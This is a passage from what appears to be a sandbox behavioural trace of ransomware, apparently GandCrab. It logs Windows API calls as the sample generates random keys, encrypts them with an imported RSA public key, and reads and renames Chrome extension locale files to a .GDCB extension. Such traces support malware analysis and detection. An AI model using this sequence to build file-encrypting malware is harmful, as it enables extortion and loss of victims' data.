data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0257.556] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.561] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.561] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.561] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.566] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.566] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.566] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.568] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791860) returned 1 [0257.568] CryptGetKeyParam (in: hKey=0x6791860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.568] CryptEncrypt (in: hKey=0x6791860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.569] GetLastError () returned 0x0 [0257.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.569] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.570] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791560) returned 1 [0257.570] CryptGetKeyParam (in: hKey=0x6791560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.570] CryptEncrypt (in: hKey=0x6791560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.571] GetLastError () returned 0x0 [0257.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.571] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.572] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.574] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.576] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0257.585] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.597] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0257.602] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.607] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.607] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.608] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.613] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.613] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.614] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.616] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67918a0) returned 1 [0257.616] CryptGetKeyParam (in: hKey=0x67918a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.616] CryptEncrypt (in: hKey=0x67918a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.616] GetLastError () returned 0x0 [0257.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.616] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.619] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791620) returned 1 [0257.619] CryptGetKeyParam (in: hKey=0x6791620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.619] CryptEncrypt (in: hKey=0x6791620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.619] GetLastError () returned 0x0 [0257.619] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.619] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.620] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.624] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.627] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe3, lpOverlapped=0x0) returned 1 [0257.636] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.665] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0257.671] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.679] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.679] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.679] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.684] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.685] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.687] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791360) returned 1 [0257.687] CryptGetKeyParam (in: hKey=0x6791360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.687] CryptEncrypt (in: hKey=0x6791360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.687] GetLastError () returned 0x0 [0257.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.687] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.689] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791460) returned 1 [0257.689] CryptGetKeyParam (in: hKey=0x6791460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.689] CryptEncrypt (in: hKey=0x6791460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.689] GetLastError () returned 0x0 [0257.689] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.689] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.694] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.696] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x108, lpOverlapped=0x0) returned 1 [0257.705] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.713] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0257.719] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.725] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.731] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.731] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67913a0) returned 1 [0257.734] CryptGetKeyParam (in: hKey=0x67913a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.734] CryptEncrypt (in: hKey=0x67913a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.734] GetLastError () returned 0x0 [0257.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.734] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.736] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67910e0) returned 1 [0257.736] CryptGetKeyParam (in: hKey=0x67910e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.736] CryptEncrypt (in: hKey=0x67910e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.737] GetLastError () returned 0x0 [0257.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.741] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.744] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe1, lpOverlapped=0x0) returned 1 [0257.753] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.761] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0257.767] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.773] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.773] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.773] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.777] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.778] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.780] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791260) returned 1 [0257.780] CryptGetKeyParam (in: hKey=0x6791260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.780] CryptEncrypt (in: hKey=0x6791260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.781] GetLastError () returned 0x0 [0257.781] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.781] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.783] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67913e0) returned 1 [0257.783] CryptGetKeyParam (in: hKey=0x67913e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.783] CryptEncrypt (in: hKey=0x67913e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.784] GetLastError () returned 0x0 [0257.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.784] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.785] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.788] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.791] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xce, lpOverlapped=0x0) returned 1 [0257.800] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.806] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0257.811] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) 